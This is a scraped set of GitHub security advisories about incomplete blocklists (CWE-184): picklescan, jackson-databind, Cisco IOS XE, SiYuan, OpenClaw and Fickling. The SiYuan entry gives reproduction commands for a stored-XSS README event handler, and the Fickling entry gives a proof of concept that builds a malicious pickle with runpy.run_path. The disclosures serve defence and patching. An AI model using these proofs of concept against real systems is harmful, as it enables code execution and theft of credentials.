      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Host environment sanitizer missed two Node.js control variables",
  "withdrawn": "2026-06-18T13:02:39Z"
}

GHSA-VR75-HJH9-7FR6

Vulnerability from github – Published: 2025-03-03 18:31 – Updated: 2025-03-03 20:05

Summary

Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T20:05:26Z",
    "nvd_published_at": "2025-02-26T15:15:24Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.21 does not treat \u0027pip\u0027 as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.",
  "id": "GHSA-vr75-hjh9-7fr6",
  "modified": "2025-03-03T20:05:26Z",
  "published": "2025-03-03T18:31:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis",
  "withdrawn": "2025-03-03T20:05:26Z"
}

GHSA-W3F4-3Q6J-RH82

Vulnerability from github – Published: 2020-06-30 20:40 – Updated: 2024-03-01 21:56

Summary

Deserialization of Untrusted Data in jackson-databind

Details

FasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.8.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-5968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-30T20:40:31Z",
    "nvd_published_at": "2018-01-22T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "FasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.",
  "id": "GHSA-w3f4-3q6j-rh82",
  "modified": "2024-03-01T21:56:34Z",
  "published": "2020-06-30T20:40:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/1899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GulajavaMinistudio/jackson-databind/pull/92/commits/038b471e2efde2e8f96b4e0be958d3e5a1ff1d05"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/454be8bb8c913be18298327a84ca45a280b61605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/038b471e2efde2e8f96b4e0be958d3e5a1ff1d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/03ea0bec6293d4330b5ad19d1d62aca0e3cb6381"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4114"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03902en_us"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180423-0002"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3149"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2858"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1525"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0481"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0480"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0479"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0478"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in jackson-databind"
}

GHSA-W3PW-JCPX-2QCC

Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32

Details

A vulnerability in the NETCONF feature of Cisco IOS XE Software could allow an authenticated, remote attacker to elevate privileges to root on an affected device.

This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted input over NETCONF to an affected device. A successful exploit could allow the attacker to elevate privileges from Administrator to root.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-20278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-27T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the NETCONF feature of Cisco IOS XE Software could allow an authenticated, remote attacker to elevate privileges to root on an affected device.\n\n This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted input over NETCONF to an affected device. A successful exploit could allow the attacker to elevate privileges from Administrator to root.",
  "id": "GHSA-w3pw-jcpx-2qcc",
  "modified": "2024-03-27T18:32:38Z",
  "published": "2024-03-27T18:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20278"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-priv-esc-seAx6NLX"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7CG-WHH7-XP28

Vulnerability from github – Published: 2026-07-10 19:27 – Updated: 2026-07-10 19:27

Summary

SiYuan: Stored XSS in Bazaar marketplace via package README event handlers

Details

Summary

renderPackageREADME in kernel/bazaar/readme.go renders a Bazaar package README from Markdown to HTML with the lute engine and SetSanitize(true). The lute sanitizer is an event-handler blocklist: allowAttr rejects only attribute names present in a fixed eventAttrs map copied from the w3schools legacy handler list.

That map omits modern event handlers. onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend are not in the list, so the sanitizer passes them through verbatim on any tag.

The frontend assigns the rendered HTML to mdElement.innerHTML in app/src/config/bazaar.ts with no client-side DOMPurify on this path, into a normal element in the main document (no iframe, no sandbox). The kernel sends no Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options header on any response, so an inline handler runs when its event fires.

The README is rendered when an Administrator opens a package in Settings → Marketplace, after the one-time marketplace trust consent. Install is not required.

Result: a third-party Bazaar package author runs JavaScript in the Administrator's authenticated SiYuan origin when the Administrator views and interacts with the package listing, and gains full control of the workspace.

Affected

siyuan-note/siyuan, <= 3.6.5 (latest release, 2026-04-21). Confirmed live-exploitable on the b3log/siyuan:v3.6.5 image; identical code on master HEAD. Condition: the Administrator has accepted the marketplace trust consent (bazaar.trust, default false) and browses community Bazaar packages. The lute dependency pin is github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d. Both the online browse path (getBazaarPackageREADME) and the installed-package path (getInstalledPlugin) reach the same sink.

Root cause

render/sanitizer.go:225-232 (lute): allowAttr(name) returns false only when name exists in the eventAttrs map, an attribute denylist rather than an allowlist. render/sanitizer.go:235-334 (lute): eventAttrs is the w3schools handler list and contains no pointer, beforetoggle, focusin, animation, or transition handlers. kernel/bazaar/readme.go:108-118: renderPackageREADME builds the engine with SetSanitize(true) and returns the HTML string to the caller. kernel/bazaar/readme.go:48-88: GetBazaarPackageREADME renders an untrusted remote package README; kernel/api/bazaar.go exposes it at /api/bazaar/getBazaarPackageREADME (router.go:423, CheckAuth). app/src/config/bazaar.ts:600 and :609: mdElement.innerHTML = data.preferredReadme / = response.data.html, no DOMPurify, target is a plain div. Kernel HTTP responses carry no CSP/X-Frame-Options/X-Content-Type-Options header (live-confirmed), so an inline handler is not blocked.

Reproduction

b3log/siyuan:v3.6.5 Docker, default config, access auth code set, marketplace trust accepted.

Place a package whose README carries a non-blocklisted handler (an online community package produces the identical render at browse time):

mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{"name":"evil-plugin","author":"x","version":"1.0.0","minAppVersion":"3.0.0",
 "displayName":{"default":"Evil"},"description":{"default":"poc"},
 "readme":{"default":"README.md"},"backends":["all"],"frontends":["all"]}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \
  > workspace/data/plugins/evil-plugin/README.md

Request the rendered README the way the Marketplace panel does:

curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
  -H "Authorization: Token <API-TOKEN>" -H "Content-Type: application/json" \
  -d '{"frontend":"all","keyword":""}'

Response data.packages[].preferredReadme contains the handler verbatim:

<div onpointerover="alert(document.domain)">plugin description</div>

A control <img src=x onerror=...> in the same README is returned HTML-escaped and inert.

In Settings → Marketplace, open the package and move the pointer over its README.

Live-verified: the rendered HTML is assigned to mdElement.innerHTML (no CSP, no sandbox) and the onpointerover handler executes alert(document.domain) in the SiYuan origin on hover. Handlers do not auto-fire on insertion; one pointer/focus/click interaction on the listing triggers them.

Impact

JavaScript execution in the Administrator's authenticated origin on a marketplace package view plus one hover/click/focus, no install needed.
Theft of the kernel API token (conf.api.token), which grants full Administrator API access.
Pivot to installBazaarPlugin and kernel control; the runtime image ships a shell.
A single malicious community package reaches every instance that views its listing.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:27:24Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`renderPackageREADME` in `kernel/bazaar/readme.go` renders a Bazaar package README from Markdown to HTML with the lute engine and `SetSanitize(true)`. The lute sanitizer is an event-handler blocklist: `allowAttr` rejects only attribute names present in a fixed `eventAttrs` map copied from the w3schools legacy handler list.\n\nThat map omits modern event handlers. `onpointerover`, `onpointerdown`, `onauxclick`, `onbeforetoggle`, `onfocusin`, `onanimationstart`, and `ontransitionend` are not in the list, so the sanitizer passes them through verbatim on any tag.\n\nThe frontend assigns the rendered HTML to `mdElement.innerHTML` in `app/src/config/bazaar.ts` with no client-side DOMPurify on this path, into a normal element in the main document (no iframe, no sandbox). The kernel sends no Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options header on any response, so an inline handler runs when its event fires.\n\nThe README is rendered when an Administrator opens a package in Settings \u2192 Marketplace, after the one-time marketplace trust consent. Install is not required.\n\nResult: a third-party Bazaar package author runs JavaScript in the Administrator\u0027s authenticated SiYuan origin when the Administrator views and interacts with the package listing, and gains full control of the workspace.\n\n## Affected\n\nsiyuan-note/siyuan, `\u003c= 3.6.5` (latest release, 2026-04-21). Confirmed live-exploitable on the `b3log/siyuan:v3.6.5` image; identical code on `master` HEAD.\nCondition: the Administrator has accepted the marketplace trust consent (`bazaar.trust`, default false) and browses community Bazaar packages. The lute dependency pin is `github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d`.\nBoth the online browse path (`getBazaarPackageREADME`) and the installed-package path (`getInstalledPlugin`) reach the same sink.\n\n## Root cause\n\n`render/sanitizer.go:225-232` (lute): `allowAttr(name)` returns false only when `name` exists in the `eventAttrs` map, an attribute denylist rather than an allowlist.\n`render/sanitizer.go:235-334` (lute): `eventAttrs` is the w3schools handler list and contains no pointer, beforetoggle, focusin, animation, or transition handlers.\n`kernel/bazaar/readme.go:108-118`: `renderPackageREADME` builds the engine with `SetSanitize(true)` and returns the HTML string to the caller.\n`kernel/bazaar/readme.go:48-88`: `GetBazaarPackageREADME` renders an untrusted remote package README; `kernel/api/bazaar.go` exposes it at `/api/bazaar/getBazaarPackageREADME` (`router.go:423`, `CheckAuth`).\n`app/src/config/bazaar.ts:600` and `:609`: `mdElement.innerHTML = data.preferredReadme` / `= response.data.html`, no DOMPurify, target is a plain div.\nKernel HTTP responses carry no CSP/X-Frame-Options/X-Content-Type-Options header (live-confirmed), so an inline handler is not blocked.\n\n## Reproduction\n\n`b3log/siyuan:v3.6.5` Docker, default config, access auth code set, marketplace trust accepted.\n\n1. Place a package whose README carries a non-blocklisted handler (an online community package produces the identical render at browse time):\n\n```\nmkdir -p workspace/data/plugins/evil-plugin\ncat \u003e workspace/data/plugins/evil-plugin/plugin.json \u003c\u003c\u0027JSON\u0027\n{\"name\":\"evil-plugin\",\"author\":\"x\",\"version\":\"1.0.0\",\"minAppVersion\":\"3.0.0\",\n \"displayName\":{\"default\":\"Evil\"},\"description\":{\"default\":\"poc\"},\n \"readme\":{\"default\":\"README.md\"},\"backends\":[\"all\"],\"frontends\":[\"all\"]}\nJSON\nprintf \u0027\u003cdiv onpointerover=\"alert(document.domain)\"\u003eplugin description\u003c/div\u003e\\n\u0027 \\\n  \u003e workspace/data/plugins/evil-plugin/README.md\n```\n\n2. Request the rendered README the way the Marketplace panel does:\n\n```\ncurl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \\\n  -H \"Authorization: Token \u003cAPI-TOKEN\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"frontend\":\"all\",\"keyword\":\"\"}\u0027\n```\n\nResponse `data.packages[].preferredReadme` contains the handler verbatim:\n\n```\n\u003cdiv onpointerover=\"alert(document.domain)\"\u003eplugin description\u003c/div\u003e\n```\n\nA control `\u003cimg src=x onerror=...\u003e` in the same README is returned HTML-escaped and inert.\n\n3. In Settings \u2192 Marketplace, open the package and move the pointer over its README.\n\nLive-verified: the rendered HTML is assigned to `mdElement.innerHTML` (no CSP, no sandbox) and the `onpointerover` handler executes `alert(document.domain)` in the SiYuan origin on hover. Handlers do not auto-fire on insertion; one pointer/focus/click interaction on the listing triggers them.\n\n## Impact\n\n- JavaScript execution in the Administrator\u0027s authenticated origin on a marketplace package view plus one hover/click/focus, no install needed.\n- Theft of the kernel API token (`conf.api.token`), which grants full Administrator API access.\n- Pivot to `installBazaarPlugin` and kernel control; the runtime image ships a shell.\n- A single malicious community package reaches every instance that views its listing.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-w7cg-whh7-xp28",
  "modified": "2026-07-10T19:27:25Z",
  "published": "2026-07-10T19:27:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w7cg-whh7-xp28"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54070"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Stored XSS in Bazaar marketplace via package README event handlers"
}

GHSA-WCM7-94WG-H74H

Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-05-04 21:54

Summary

Duplicate Advisory: OpenClaw host-env blocklist missing `GIT_TEMPLATE_DIR` and `AWS_CONFIG_FILE` allows code execution via env override

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-6p8r-6m93-557f. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.28 contains an environment variable sanitization vulnerability where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are not blocked in the host-env blocklist. Attackers can exploit approved exec requests to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N

5.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:54:39Z",
    "nvd_published_at": "2026-04-23T22:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6p8r-6m93-557f. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.28 contains an environment variable sanitization vulnerability where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are not blocked in the host-env blocklist. Attackers can exploit approved exec requests to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials.",
  "id": "GHSA-wcm7-94wg-h74h",
  "modified": "2026-05-04T21:54:39Z",
  "published": "2026-04-24T00:31:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m866-6qv5-p2fg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41332"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-code-execution-via-missing-environment-variable-blocklist"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw host-env blocklist missing `GIT_TEMPLATE_DIR` and `AWS_CONFIG_FILE` allows code execution via env override",
  "withdrawn": "2026-05-04T21:54:39Z"
}

GHSA-WFQ2-52F7-7QVJ

Vulnerability from github – Published: 2026-01-09 20:52 – Updated: 2026-01-11 14:54

Summary

Fickling has a bypass via runpy.run_path() and runpy.run_module()

Details

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code: - File: fickling/analysis.py - Class: UnsafeImports - Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix: - PR #187 added pty to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for runpy

How the bypass works: 1. Attacker creates a pickle using runpy.run_path() in __reduce__ 2. Fickling's UnsafeImports analysis does not flag runpy as dangerous 3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity 4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function	Fickling Severity	RCE Capable
os.system	LIKELY_OVERTLY_MALICIOUS	Yes
eval	OVERTLY_MALICIOUS	Yes
exec	OVERTLY_MALICIOUS	Yes
runpy.run_path	SUSPICIOUS	Yes ← BYPASS
runpy.run_module	SUSPICIOUS	Yes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with runpy

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T20:52:40Z",
    "nvd_published_at": "2026-01-10T02:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Fickling\u0027s assessment\n\n`runpy`  was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).\n\n# Original report\n\n### Summary\nFickling versions up to and including 0.1.6 do not treat Python\u2019s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u2019s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\nThe `runpy` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`\n\nReference to similar fix:\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `runpy`\n\nHow the bypass works:\n1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__`\n2. Fickling\u0027s `UnsafeImports` analysis does not flag `runpy` as dangerous\n3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity\n4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function          | Fickling Severity          | RCE Capable |\n|-------------------|----------------------------|-------------|\n| os.system         | LIKELY_OVERTLY_MALICIOUS   | Yes         |\n| eval              | OVERTLY_MALICIOUS          | Yes         |\n| exec              | OVERTLY_MALICIOUS          | Yes         |\n| runpy.run_path    | SUSPICIOUS                 | Yes \u2190 BYPASS |\n| runpy.run_module  | SUSPICIOUS                 | Yes \u2190 BYPASS |\n\nSuggested fix:\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- runpy\n- runpy.run_path\n- runpy.run_module\n- runpy._run_code\n- runpy._run_module_code\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:**\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed 